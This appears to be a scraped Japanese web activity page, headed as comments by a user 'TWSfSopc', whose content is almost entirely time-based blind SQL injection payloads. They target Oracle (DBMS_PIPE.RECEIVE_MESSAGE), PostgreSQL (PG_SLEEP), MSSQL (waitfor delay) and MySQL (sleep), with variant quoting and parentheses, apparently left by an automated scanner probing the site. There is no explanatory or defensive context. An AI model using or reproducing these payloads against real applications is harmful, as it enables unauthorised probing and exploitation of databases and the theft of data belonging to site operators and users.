TWSfSopcさんがコメントしたアクティビティ

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

YvKr1Kfh')) OR 242=(SELECT 242 FROM PG_SLEEP(15))--

JI4QWqyM') OR 344=(SELECT 344 FROM PG_SLEEP(15))--

0aoV63RJ' OR 610=(SELECT 610 FROM PG_SLEEP(15))--

-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))--

-5) OR 997=(SELECT 997 FROM PG_SLEEP(15))--

-5 OR 415=(SELECT 415 FROM PG_SLEEP(15))--

8Ga6N7iK'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z